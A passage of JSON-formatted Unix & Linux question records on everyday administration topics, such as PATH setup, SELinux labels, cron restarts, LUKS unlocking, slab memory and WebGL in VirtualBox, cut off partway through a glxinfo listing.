echo command in `finalterm` terminal: ![enter image description here](http://i.stack.imgur.com/WkJcY.png) And here I put the result from `urxvt`: ![enter image description here](http://i.stack.imgur.com/lAILA.png) And here is the result of this `perl` script that is running on the same `urxvt`: ![enter image description here](http://i.stack.imgur.com/I7iue.png)"} {"_id": "77898", "title": "How does the path enviroment variable work in linux?", "text": "I'm confused how does the enviroment path work under linux, I'm a Linux Mint 15 user. First, I read about editing the `/home/.bashrc` file and doing a `PATH=$PATH:/directory`, but I also knew about some path stuff managed in `/etc/bash.bashrc` and so any software installed and in `/usr/local/bin` would be reachable from anywhere i the shell. So, how does the path variable work under linux and where is actually placed?"} {"_id": "23610", "title": "chcon: can't apply partial context to unlabeled file while installing nagios with SELinux", "text": "I'm setting up Nagios core on CentOS with SELINUX=enforcing. I try to run chcon -R -t httpd_sys_content_t /usr/local/nagios/sbin/ as suggested in the manual, but I get this error messages: chcon: can't apply partial context to unlabeled file `cmd.cgi' chcon: can't apply partial context to unlabeled file `trends.cgi' chcon: can't apply partial context to unlabeled file `histogram.cgi' chcon: can't apply partial context to unlabeled file `avail.cgi' chcon: can't apply partial context to unlabeled file `history.cgi' chcon: can't apply partial context to unlabeled file `status.cgi' chcon: can't apply partial context to unlabeled file `tac.cgi' chcon: can't apply partial context to unlabeled file `showlog.cgi' chcon: can't apply partial context to unlabeled file `notifications.cgi' chcon: can't apply partial context to unlabeled file `extinfo.cgi' chcon: can't apply partial context to unlabeled file `statuswml.cgi' chcon: can't apply partial context to unlabeled file `outages.cgi' chcon: can't apply partial context to unlabeled file `statuswrl.cgi' chcon: can't apply partial context to unlabeled file `statusmap.cgi' chcon: can't apply partial context to unlabeled file `config.cgi' chcon: can't apply partial context to unlabeled file `summary.cgi' Any ideas how to avoid these errors?"} {"_id": "23614", "title": "How to delete the second column from this input?", "text": "INPUT bix.hu. 42433 IN A 193.239.149.1 bix.hu. 42433 IN MX 10 deneb.iszt.hu. bix.hu. 42433 IN NS ns.iszt.hu. bix.hu. 42433 IN NS ns.iszt.hu. bix.hu. 42433 IN NS ns-s.nic.hu. bix.hu. 42433 IN NS ns-s.nic.hu. bix.hu. 42433 IN SOA ns.iszt.hu. hostmaster.iszt.hu. 2011053000 28800 7200 604800 14400 OUTPUT bix.hu. IN A 193.239.149.1 bix.hu. IN MX 10 deneb.iszt.hu. bix.hu. IN NS ns.iszt.hu. bix.hu. IN NS ns.iszt.hu. bix.hu. IN NS ns-s.nic.hu. bix.hu. IN NS ns-s.nic.hu. bix.hu. IN SOA ns.iszt.hu. hostmaster.iszt.hu. 2011053000 28800 7200 604800 14400 using bash, sed, awk, etc. How?? actually it's just an output from: dig -t any bix.hu | egrep -v \"^;;|^;|^$\" | sort I just don't want the TTL column.. [because I want to sha256sum the output, and in this way I can check that the DNS settings are modified or not, but if the TTL keeps decreasing it ruins the sha256sum] - it will be just a checker script.."} {"_id": "59326", "title": "How to use \"fuser\" to get process list for nested folder while using with parent folder as argument?", "text": "I am using `fuser` command to get the list of processes accessing a folder. However if the process is working on a file present in a inner folder, executing `fuser` command on the parent does not provide details of the process working on inner folder. Is there any way I can pull the process details of the inner folders as well while executing `fuser` on the parent? I am working with Solaris 5.8. Below is the code which I tried: ~: pwd /home/ah388 ~: ls sasuser.v91/ ~: cd sasuser.v91/ ~/sasuser.v91: cat kk.sh while [ 1 ]; do echo \"\" > /dev/null done; ~/sasuser.v91: ./kk.sh & **[1] 15140** ~/sasuser.v91: ls a/ kk.sh* ~/sasuser.v91: cd a ~/sasuser.v91: ls kk.sh* ~/sasuser.v91/a: ./kk.sh & **[2] 15271** ~/sasuser.v91/a: cd ~: fuser -u sasuser.v91 **sasuser.v91: 15140c(ah388880) --> What about 15271 Process** ~: jobs [1]- Running ./kk.sh & (wd: ~/sasuser.v91) [2]+ Running ./kk.sh & (wd: ~/sasuser.v91/a)"} {"_id": "59327", "title": "CentOS | [root@hostname] does not show anymore?", "text": "For some reason I logged into my CentOS6 server and at the beginning of every line it normally shows [root@hostname]# Now it shows -bash-4.1# What does this mean? **And how to I get it back to normal???** I'm very new to CentOS..."} {"_id": "27769", "title": "Bluetooth auto-connect not going through", "text": "I finally got Bluetooth working on my late 2011 8,3 MacBook Pro running 11.10-amd64 Ubuntu. However, I'm having some weird problems that I've noticed were pretty global across what I was doing. Essentially, my Bluetooth device will be able to connect, but it won't actually get used or utilized for anything unless I intervene to make stuff happen. My device will connect initially to my computer, then drop the connection and go into pairing mode, as if it can't see anything it's automatically connected to. I'll see the device connect and then disconnect every so often on my computer, apparently as it looks for the computer. It seems like some kind of handshake is failing. If I wait until my device connects to the computer for the short period that it does and quickly use `blueman` to \"Setup...\" the device (ie: connect it as a \"Headset Service\" and \"Audio Sync,\" then it works. It connects just fine and I can use it. However, the connection isn't automatic and persistent unless I intervene and force it into connecting as a A2DP headset. Is there something I could do to try and determine what's going wrong here? I'd simply like the computer to automatically connect to the device as soon as it's detected, so that when I start my operating system, things \"just work\u2122.\""} {"_id": "59325", "title": "Program stall under user but runs under root", "text": "I am running `R` job under a normal user `john` and `root`. Interestingly, the program stalls under `john` user but runs quickly under `root`. Using `strace`, I found that when `john` runs the `R`, the process stalls for its child process. I guess the linux do not let the child process continue and the parent (main program) stays stalled infinitely. Is there any limitation on the number of fork/clone that a normal linux user can do? Any idea why this happens? Thank you in advance. Anyway, here on this post I've described my start-point of problem. _**Further information_** Last lines of `strace` for `john` user (where program stalls): lseek(255, -82, SEEK_CUR) = 1746 clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fa12fd4f9d0) = 13302 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0 rt_sigaction(SIGINT, {0x43d060, [], SA_RESTORER, 0x311b432900}, {0x452250, [], SA_RESTORER, 0x311b432900}, 8) = 0 wait4(-1, Last lines of `strace` for `root` (where program runs completely): lseek(255, -82, SEEK_CUR) = 1746 clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f81d8e239d0) = 13244 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0 rt_sigaction(SIGINT, {0x43d060, [], SA_RESTORER, 0x311b432900}, {0x452250, [], SA_RESTORER, 0x311b432900}, 8) = 0 wait4(-1, [{WIFEXITED(s) && WEXITSTATUS(s) == 1}], 0, NULL) = 13244 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 --- SIGCHLD (Child exited) @ 0 (0) --- wait4(-1, 0x7fff54a591dc, WNOHANG, NULL) = -1 ECHILD (No child processes) rt_sigreturn(0xffffffffffffffff) = 0 rt_sigaction(SIGINT, {0x452250, [], SA_RESTORER, 0x311b432900}, {0x43d060, [], SA_RESTORER, 0x311b432900}, 8) = 0 rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0 read(255, \"\\n### Local Variables: ***\\n### mo\"..., 1828) = 82 rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0 rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0 rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0 rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0 rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0 read(255, \"\", 1828) = 0 exit_group(1)"} {"_id": "59323", "title": "What is a free open source webmail software with pgp support?", "text": "I've a virtual server not a ksm but with lighttpd and mysql and postfix. Can I use it to replace my existing free webmail and what is a good software? I also want to use pgp if it's possible?"} {"_id": "61749", "title": "Gnome and Cinnamon loads in fallback (classic) mode only", "text": "So I have been using linux mint for a while now. A few months ago my Gnome shell crashed and I was unable to use the full 3d features and loaded into fallback mode only. From that day (around 2 months ago) I still have only fallback mode (both Gnome and cinnamon). I installed Linux mint maya, and Ubuntu 12.04 both as windows file and complete installation in an external hard drive. and for many times I sitll cannot fix this problem. ps I made sure to download all the drivers for my graphics card. what could the problem be?"} {"_id": "27762", "title": "Restore /etc/ configuration files from the default", "text": "Is there a way to replace `/etc` configuration files from a package, overwriting my local changes? I've tried `apt-get install --reinstall mypackage` but it doesn't update the files. How can I do this?"} {"_id": "61744", "title": "Limit disk buffer usage in SLES 11SP2 to allow more efficient memory overcommit on esxi host", "text": "When running VMs on an ESXi host, you can overcommit the memory. Example: host == 20GB physical RAM The amount of RAM allocated to each VM is * VM1 == 10gb * VM2 == 10gb * VM3 == 10gb * VM4 == 10gb The result is even though there is only 20GB of ram available, We have actually allocated 40GB of it. There is no problem with this if each machine uses and average of 5GB of \"active\" memory (inactive memory is swapped out in a few different manners). The issue is, VM1 does a big file operation, the kernel writes an additional 5GB to it's RAM. As this is just written, the esx host considers it as active memory, and starts swapping out memory from the other running VMs (thus hitting their performance). Flushing the cache after a big operation (using is not a great option as the host has already started penalising the other VMs.) The above is a simplification (the actual problem VM has 32GB of RAM assigned), but essentially: **tl;dr** How do I limit the max size of the disk cache on a linux kernel."} {"_id": "61742", "title": "sed edit text block: not greedy match", "text": "I wish I can grab **the first** html comment in a file using sed. Using `'//` and having more than one comment block it will match all the content between the first and the last comment block too! Any advice? Here a sample: Content The expected output should be: It should work with single line comments too. "} {"_id": "27765", "title": "What is the KDE equivalent of a Nautilus script?", "text": "I have just begun to use KDE, and I can't find any info about the KDE equivalent of a Nautilus script. What I need to be able to do is select some files, right click, and apply a number of commands to all of them, as with a Nautilus script."} {"_id": "73753", "title": "Use an existing wampserver from a windows partition on linux mint", "text": "I dual boot Windows 7 and Linux Mint 14. I have wampserver installed on Win 7 and have a couple of websites already set up there. Is it possible to use that same installation apache/mysql/php installation on linux mint?"} {"_id": "73724", "title": "How to remove LUKS auto-unlock?", "text": "Unfortunately my drive **unlocks automatically**. This makes the whole encryption useless. How do I turn off this annoying _feature_ on a specified drive (e.g. `/dev/x`) ? The `cryptsetup` command I've found is **not documented**. I'm afraid this could erase the whole drive! cryptsetup luksRemoveKey /dev/x ![enter image description here](http://i.stack.imgur.com/j2Omr.png)"} {"_id": "129527", "title": "OpenBSD Atheros AR8151 no Ethernet media present", "text": "I installed OpenBSD 5.5 on an ASRock AD525PV3. The board uses the mentioned Atheros LAN. It shows `alc0` on **ifconfig** , but the media only has Ethernet manual, and I can't use the LAN. Is there a way to put it to work?"} {"_id": "90668", "title": "How does this awk align the spacing?", "text": "Can someone please tell me what does this do? cat infile| awk ' { for(i=3;i<=NF;i++){ $2=$2\" \"$i } printf \"%-4s %s\\n\", $1,$2 ; }' > outfile.txt `infile` contains: 1 John Smith 2 Bill Johnson ... 5000 George Heiz I see that the result is that `outfile.txt` has all the lines aligned but I don't understand how Specifically what does this part `for(i=3;i<=NF;i++){ $2=$2\" \"$i }` do?"} {"_id": "73728", "title": "How can i run a piece of code in background?", "text": "Can I run a piece of code in background instead of using another script. [sesiv@itseelm-lx4151 ~]$ cat ./testback2 #!/bin/bash start_time=$(date +%s) for i in {1..5} do ./testscript & done wait finish_time=$(date +%s) seconds=$((finish_time - start_time)) hours=$((seconds / 3600)) seconds=$((seconds % 3600)) minutes=$((seconds / 60)) seconds=$((seconds % 60)) echo \"Time Taken :\" echo \"$hours hour(s) $minutes minute(s) $seconds second(s)\" [sesiv@itseelm-lx4151 ~]$ ./testback2 sleeping 22436 sleeping 22438 sleeping 22440 sleeping 22442 sleeping 22435 Time Taken : 0 hour(s) 0 minute(s) 3 second(s) i tried something like below but it gives the parent process id.I was expecting 5 different child process ids like above.But the timing here is 3 soeconds only. #!/bin/bash start_time=$(date +%s) fun() { echo \"$1 $$\" sleep 3 } for i in {1..5} do fun sleeping & done wait finish_time=$(date +%s) seconds=$((finish_time - start_time)) hours=$((seconds / 3600)) seconds=$((seconds % 3600)) minutes=$((seconds / 60)) seconds=$((seconds % 60)) echo \"Time Taken :\" echo \"$hours hour(s) $minutes minute(s) $seconds second(s)\" output : sleeping 22028 sleeping 22028 sleeping 22028 sleeping 22028 sleeping 22028 Time Taken : 0 hour(s) 0 minute(s) 3 second(s) NOTE:this is the `testscript` code #!/bin/bash fun() { echo \"$1 $$\" sleep 3 } fun sleeping"} {"_id": "73729", "title": "Determining network interface names in NetBSD", "text": "Does anyone know if there is a way to determine what a network interface will be called in NetBSD if you know which NIC/driver you will be using before hand? I'm trying to automate parts of a NetBSD set-up for a variety of different machines and would like to write an /etc/ifconfig.xx file but never know what the 'xx' part will be. I know that, for example, my Intel NIC uses 'wm' as the suffix, but where does NetBSD get that information from?"} {"_id": "129520", "title": "stdin, stderr, redirection and logs", "text": "Is there a difference between those two lines ? /home/user/script.sh >> /home/user/stdout_and_error.log 2>&1 /home/user/script.sh 2>&1 >> /home/user/stdout_and_error.log knowing that I would like to put the stdout and execution errors of the script in the log file. If there are no differences, what if I would like to log the logging itself?"} {"_id": "74714", "title": "zsh: Echoing every statement?", "text": "I have an odd problem with zsh when I switch between shells in a particular way: ### Option 1 (works well): I start a `zsh` shell. I switch to `tcsh` with `/bin/tcsh`, and I switch back to `zsh` with `/bin/zsh` If I then run: > ls I get: ./ ../ file1 file1 file3 ### Option 2 (problematic): I start a `zsh` shell. I switch to `tcsh` with: `exec env -i HOME=$HOME TERM=$TERM DISPLAY=$DISPLAY /bin/tcsh`. and I then switch back to `zsh` with `/bin/zsh`. If I then enter any commands, the `zsh` shell echoes the command and then the result. Using the same example as before: > ls 2;ls --color=yes -aF1;./ ../ file1 file2 file3 In other words, zsh shows `2;COMMAND 1;` and then the output, which is of course very different from what I was getting with **Option 1**. What's even more strange is that this only happens within `ansi-term` or `multi-term` terminals in Emacs, and not under `gnome-terminal`. What else can I do to diagnose the problem? Any thoughts on what may be causing this? # Update: My `.cshrc` prompt is set prompt = \"> \""} {"_id": "74718", "title": "Why does my Mountain Lion computer have Apache 2.2.22 shut down almost as soon as it starts?", "text": "[Sun Apr 21 17:29:00 2013] [notice] caught SIGTERM, shutting down [Sun Apr 21 17:30:15 2013] [warn] Init: Session Cache is not configured [hint: SSLSessionCache] httpd: Could not reliably determine the server's fully qualified domain name, using Christoss-MacBook-Pro.local for ServerName [Sun Apr 21 17:30:16 2013] [notice] Digest: generating secret for digest authentication ... [Sun Apr 21 17:30:16 2013] [notice] Digest: done [Sun Apr 21 17:30:18 2013] [notice] Apache/2.2.22 (Unix) DAV/2 mod_ssl/2.2.22 OpenSSL/0.9.8r configured -- resuming normal operations [Sun Apr 21 17:31:06 2013] [error] [client ::1] File does not exist: /Users/jonathan/project/fathers/public_html/blajeny.com [Sun Apr 21 17:37:13 2013] [error] [client ::1] File does not exist: /Users/jonathan/project/fathers.tgz/public_html/ [Sun Apr 21 17:37:14 2013] [error] [client ::1] File does not exist: /Users/jonathan/project/fathers.tgz/public_html/favicon.ico [Sun Apr 21 17:44:41 2013] [notice] caught SIGTERM, shutting down I'm not completely sure how to parse this. I wouldn't expect the 404's to shut down the server. Is there anything that jumps out about what is wrong here?"} {"_id": "74719", "title": "How to start a cron job without reboot?", "text": "I use a cron job to call `offlineimap` every 2 minutes: */2 * * * * /usr/bin/offlineimap > ~/Maildir/offlineimap.log 2>&1 I needed to kill the cron job to fix a problem. How can I then restart the cron job (without rebooting)? I found this 'solution' online: mylogin@myhost:~$ sudo /etc/init.d/cron restart Rather than invoking init scripts through /etc/init.d, use the service(8) utility, e.g. service cron restart Since the script you are attempting to invoke has been converted to an Upstart job, you may also use the stop(8) and then start(8) utilities, e.g. stop cron ; start cron. The restart(8) utility is also available. cron stop/waiting cron start/running, process 26958 However, using `ps -ef | grep ...`, I don't see the job... What's wrong?"} {"_id": "78848", "title": "Bash way to check if a process is already running in the background (and skip re-execution based on that)?", "text": "Can I make a bash command line that only runs a certain command if the process is not already running (in the background)? How do I check*, if a command is already running? (so I can add the next command with `&&` in between them so the next one only executes if the first one is true). *: test, determine, discover, find out"} {"_id": "78840", "title": "How to install Skype on Linux Mint", "text": "I downloaded the installer from the website. When I run it, I get the following error: > Your system has broken dependencies. This application cannot continue until > it is fixed. To fix it, run \"gksudo synaptic\" or \"sudo apt-get install -f\" > in a terminal window. I tried both options. When tried to fix the broken packages in synaptic I get > Some packages could not be retrieved, do you want to proceed? I said yes. Then >E: Unable to correct missing packages W: Failed to fetch http://security.ubuntu.com/ubuntu/pool/main/t/tiff/libtiff5_4.0.2-1ubuntu2.1_i386.deb 404 Not Found [IP: 91.189.92.201 80] W: Failed to fetch http://security.ubuntu.com/ubuntu/pool/main/g/gnutls26/libgnutls26_2.12.14-5ubuntu4.2_i386.deb 404 Not Found [IP: 91.189.92.201 80] W: Failed to fetch http://security.ubuntu.com/ubuntu/pool/main/m/mysql-5.5/mysql-common_5.5.29-0ubuntu0.12.10.1_all.deb 404 Not Found [IP: 91.189.92.201 80] W: Failed to fetch http://security.ubuntu.com/ubuntu/pool/main/m/mysql-5.5/libmysqlclient18_5.5.29-0ubuntu0.12.10.1_i386.deb 404 Not Found [IP: 91.189.92.201 80]"} {"_id": "118643", "title": "How can I retrieve screen unlock times in Gnome on later Red Hat variants?", "text": "The `last` command only retrieves the login times. I'm interested in the times that the screen was unlocked. Any indirect means of getting this are also welcome."} {"_id": "154382", "title": "filtering rsyslog log on the server side", "text": "Hi I'm trying to filter usb messages, specifically of new connections. all of my clients are configured to send to a central server their 'kern.*' log. problem is I'm getting to much \"junk\" logs and they accumulate very fast (few gigs a minute). I'm trying to figure out a way to filter these, either on the client/server side. any suggestion is very much appreciated!"} {"_id": "134426", "title": "What is SUnreclaim memory?", "text": "In `/proc/meminfo` we find among others: Slab: 276188 kB SReclaimable: 244112 kB SUnreclaim: 32076 kB From what I could find out all three numbers refer to slab memory. But what exactly is `SUnreclaim` (and `SReclaimable`)? How is it related to (kernel) memory leaks? Today I had to reboot my computer because it ran very slow and processes kept being killed. I noticed that `SUnreclaim` was around 7 GB (total RAM is 8 GB) which I suspect to be the cause. Would there have been any other solution than a reboot?"} {"_id": "115806", "title": "Is there a way to mix between two RTMP streams (depending on which is up) using something like FFMPEG?", "text": "(Apologies about the question title, not quite sure how to word it) So I'm working on a turnkey streaming solution / server for a local LAN party, using the fantastic nginx-rtmp to handle incoming RTMP streams from our main PC's and deliver (hopefully) an uninterrupted signal to Twitch and other such streaming services. One of the main things I'd like to achieve is having the server switch to, say, a local webcam (or another stream) if we're not sending anything to it, which would perfect the zero-downtime approach that I'm aiming for. I've looked into using ffmpeg for this, with arguments along the line of: ffmpeg -i \"rtmp://127.0.0.1/in/stream\" -i \"rtmp://127.0.0.1/webcam/stream\" -vcodec copy -acodec copy rtmp://127.0.0.1/out/stream but ffmpeg refuses to start outputting unless it's receiving both inputs, and stops completely if it loses one. Problem is that I can't think of any alternatives, short of: * hooking into nginx-rtmp's on_publish_done hook and firing a script or something to trigger a webcam stream to start after a short delay (and then just stopping that stream using the control interface), or * having another system running something like Open Broadcaster Software and handling the mixing If anyone's got any ideas, no matter how silly, I'd really appreciate it, because I'm stumped!"} {"_id": "115805", "title": "WebGL support on VirtualBox guest", "text": "I've managed to install a Debian 7.3 as guest on virtualbox 4.3.6 VM with guest additions, and I'm not able to make work webGL. While I'm able to see openGL working (tried with `glxinfo` and `glxgears` from the command line), I'm not able to make work webGL on Firefox/Chrome/Iceweasel (didn't try other browsers). For checking if webgl is ok I'm used to surf to http://get.webgl.org/; a couple of notes stating the point at which I'm arrived: * setting webgl.force-enabled to true in the `about:config` firefox page (and later all fore-related stuff to true); * checked up that the guest additions installation process went allright (I had to install the right kernel headers module); * enabled 3D acceleration for that VM; * in the host machine (Ubuntu 12.04) webGL works well. So, at this point: is it possible to make webGL work in a debian guest OS (or generally in a guest OS, because maybe this isn't supported)? I think that more simple the solution, less custom it is and so less subject to weird errors. Here follows a couple of links at which I'm arrived to: * https://groups.google.com/forum/#!topic/webgl-dev-list/VBmcmEMXAL0; * http://web.archiveorange.com/archive/v/uC2UCk1UQ9htmqyPXtt0. # Update 1 Tried also with Ubuntu 13.10 guest, same result. # Update 2 Result of `glxinfo`: name of display: :0 display: :0 screen: 0 direct rendering: Yes server glx vendor string: Chromium server glx version string: 1.3 Chromium server glx extensions: GLX_ARB_multisample, GLX_EXT_texture_from_pixmap, GLX_SGIX_fbconfig, GLX_ARB_get_proc_address client glx vendor string: Chromium client glx version string: 1.3 Chromium client glx extensions: GLX_ARB_multisample, GLX_EXT_texture_from_pixmap, GLX_SGIX_fbconfig, GLX_ARB_get_proc_address GLX version: 1.3 GLX extensions: GLX_ARB_multisample, GLX_EXT_texture_from_pixmap, GLX_SGIX_fbconfig, GLX_ARB_get_proc_address OpenGL vendor string: Humper OpenGL renderer string: Chromium OpenGL version string: 2.1 Chromium 1.9 OpenGL shading language version string: 1.20 OpenGL extensions: GL_EXT_draw_range_elements, GL_EXT_framebuffer_object, GL_EXT_compiled_vertex_array, GL_ARB_depth_texture, GL_ARB_fragment_program, GL_ARB_multisample, GL_ARB_multitexture, GL_ARB_occlusion_query, GL_ARB_point_parameters, GL_ARB_point_sprite, GL_ARB_shadow, GL_ARB_texture_border_clamp, GL_ARB_texture_compression, GL_ARB_texture_cube_map, GL_ARB_texture_env_add, GL_ARB_texture_env_combine, GL_EXT_texture_env_combine, GL_ARB_texture_env_crossbar, GL_ARB_texture_env_dot3, GL_EXT_texture_env_dot3, GL_ARB_texture_mirrored_repeat, GL_IBM_texture_mirrored_repeat, GL_ARB_texture_non_power_of_two, GL_ARB_transpose_matrix, GL_ARB_vertex_buffer_object, GL_ARB_pixel_buffer_object, GL_ARB_vertex_program, GL_ARB_window_pos, GL_EXT_blend_color, GL_EXT_blend_minmax, GL_EXT_blend_func_separate, GL_EXT_blend_subtract, GL_EXT_texture_env_add, GL_EXT_fog_coord, GL_EXT_multi_draw_arrays, GL_EXT_secondary_color, GL_EXT_shadow_funcs, GL_EXT_stencil_wrap, GL_EXT_texture_cube_map, GL_EXT_texture_edge_clamp, GL_EXT_texture_filter_anisotropic, GL_EXT_texture_lod_bias, GL_EXT_texture_object, GL_EXT_texture3D, GL_IBM_rasterpos_clip, GL_NV_texgen_reflection, GL_NV_texture_rectangle, GL_EXT_texture_rectangle, GL_ARB_texture_rectangle, GL_NV_vertex_program, GL_NV_vertex_program1_1, GL_SGIS_generate_mipmap, GL_SGIS_texture_border_clamp, GL_SGIS_texture_edge_clamp, GL_ARB_shading_language_100, GL_ARB_shader_objects, GL_ARB_vertex_shader, GL_ARB_fragment_shader, GL_EXT_texture_sRGB, GL_EXT_framebuffer_blit, GL_EXT_blend_equation_separate, GL_EXT_stencil_two_side, GL_CR_state_parameter, GL_CR_cursor_position, GL_CR_bounding_box, GL_CR_print_string, GL_CR_tilesort_info, GL_CR_synchronization, GL_CR_head_spu_name, GL_CR_performance_info, GL_CR_window_size, GL_CR_tile_info, GL_CR_saveframe, GL_CR_readback_barrier_size, GL_CR_server_id_sharing, GL_CR_server_matrix, GL_EXT_stencil_two_side 96 GLX Visuals visual x bf lv rg d st colorbuffer sr ax dp st accumbuffer ms cav id dep cl sp sz l ci b ro r g b a F gb bf th cl r g b a ns b eat ---------------------------------------------------------------------------- 0x021 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0d7 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0d8 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0d9 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0da 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0db 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0dc 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0dd 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0de 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0df 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0e0 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0e1 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0e2 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0e3 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0e4 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0e5 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0e6 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0e7 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0e8 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0e9 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0ea 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0eb 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0ec 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0ed 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0ee 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0ef 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0f0 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0f1 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0f2 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0f3 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0f4 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0f5 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0f6 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0f7 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0f8 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0f9 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0fa 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0fb 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0fc 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0fd 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0fe 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x0ff 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x100 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x101 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x102 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x103 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x104 24 tc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x105 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x106 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x107 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x108 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x109 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x10a 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x10b 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x10c 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x10d 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x10e 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x10f 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x110 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x111 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x112 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x113 24 dc 0 32 0 r y y 8 8 8 8 . . 0 24 8 16 16 16 16 0 0 None 0x114 24 dc 